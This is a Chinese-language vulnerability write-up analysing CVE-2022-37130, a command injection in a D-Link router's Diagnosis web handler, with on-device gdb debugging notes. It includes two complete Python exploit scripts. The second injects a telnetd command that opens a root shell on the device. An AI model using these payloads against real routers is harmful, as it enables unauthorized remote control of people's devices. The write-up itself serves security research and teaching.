D-Link CVE-2022-37130
花了一段时间学了一下LLVM PASS PWN,现在有时间来搞IOT了,第一篇写了如何提取文件,如何对漏洞文件进行逆向分析,怎么触发漏洞,这一篇笔者还是对这个固件的漏洞进行分析,这次的漏洞是一个命令注入漏洞,会记录一下如何利用漏洞进行getshell操作
逆向分析漏洞点
漏洞点发生在formDefineManagement
中的Diagnosi
函数中
程序从用户那里得到sendNum并拼接到v10中,值得注意的是这里并没有进行任何过滤和限制,在最后会执行到dosystembk,导致了命令注入漏洞
漏洞利用
我们可以先把路由器的telnet开启登陆进去,这样做的原因是准备进行真机调试,我们需要去下载一个gdbserver.mipsle
然后在ubuntu上下载一个tftpd,并启动服务sudo systemctl restart tftpd-hpa.service
,可以通过sudo netstat -a | grep tftp
查看
把存放gdbserver.mipsle
这个文件的目录做为主目录挂载到tftp上,使用telnet登录到路由器中
转到/tmp目录下,因为其他很多目录都是只读,然后将gdbserver.mipsle
利用tftp传到/tmp下,并给上执行权限
接下来需要将goahead利用gdbserver给挂载到一个端口上,然后使用pwndbg对goahead进行调试分析,ps查看goahead的pid
./gdbserver.mipsle :1234 --attach 42
挂载到1234端口上
到ubuntu上使用target remote去连接这个端口进行调试
正确加载了libc和text
在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp
连接到80端口,并发送POST数据包,漏洞点在/gofrom/Diagnosis中,只需将pingAddr设置一个ip就可以过if ( !strcmp(pingAddr, "0.0.0.0") )
,接着在sendNum中填入ls
,看一下是否最后可以执行到ls
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import socket import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
tokenid = b'1804289383'
ip = '192.168.0.1' port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting') r.connect((ip, port)) li('[+] connect finish')
rn = b'\r\n'
p2 = b'pingAddr=192.168.0.1&sendNum=`ls`&tokenid=1804289383'
p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn p3 += b"Host: 192.168.0.1" + rn p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn p3 += b"Accept-Language: en-US,en;q=0.5" + rn p3 += b"Accept-Encoding: gzip, deflate" + rn p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn p3 += b"Connection: close" + rn p3 += b"Upgrade-Insecure-Requests: 1" + rn p3 += (b"Content-Length: %d" % len(p2)) +rn p3 += b'Content-Type: application/x-www-form-urlencoded'+rn p3 += rn p3 += p2
li('[+] sending payload') r.send(p3)
response = r.recv(4096) response = response.decode() li(response)
|
发送exp即可到断点,接着进行调试分析,发现可以成功执行到snprintf
如上,可以看到ls成功被放入v10,继续调试,到0x45AEEC这时里,发现这里执行的是> /tmp/diagnosis
继续往后调试也是最重要的dosystembk函数
因为mips的流水线,a1的值其实就是$sp + 0x28的值
参数均已经被放入doSystembk中,接下来需要做的就是跟进dosystembk中,看一下$sp + 0x28会不会被执行
但是在跟进dosystembk之后发现并不会创建子进程,最后创建的还是一个父进程
可以看到pid大于0,创建的是父进程
其实这个是gdb的原因,笔者写了一个程序测试了一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h>
int main(int argc, char **argv){ int v5; v5 = vfork(); if ( !v5 ){ puts("hello"); exit(0); } return 0; }
|
发现正常执行hello,但是在调试的时候vfork会变成父进程,v10就是ping的那一条命令
所以正常运行exp的时候会执行ls命令,但回显不了,那么如何getshell呢,没有nc但是有telnet,所以我们可以用telnet来弹一个shell
telnetd -p 8802 -l /bin/sh
需要注意的是>没有用,故exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import socket import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
tokenid = b'1804289383'
ip = '192.168.0.1' port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting') r.connect((ip, port)) li('[+] connect finish')
rn = b'\r\n'
p2 = b'pingAddr=192.168.0.1&sendNum=`telnetd -p 8802 -l /bin/sh`&tokenid=1804289383'
p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn p3 += b"Host: 192.168.0.1" + rn p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn p3 += b"Accept-Language: en-US,en;q=0.5" + rn p3 += b"Accept-Encoding: gzip, deflate" + rn p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn p3 += b"Connection: close" + rn p3 += b"Upgrade-Insecure-Requests: 1" + rn p3 += (b"Content-Length: %d" % len(p2)) +rn p3 += b'Content-Type: application/x-www-form-urlencoded'+rn p3 += rn p3 += p2
li('[+] sendling payload') r.send(p3)
response = r.recv(4096) response = response.decode() li(response)
li('[+] getshell! pwned by z1r0') os.system("nc 192.168.0.1 8802")
|
成功getshell
总结
笔者认为真机调试比模拟固件好点,因为不需要为了环境发愁,有很多时候模拟固件会失败有的时候vmmap都没有用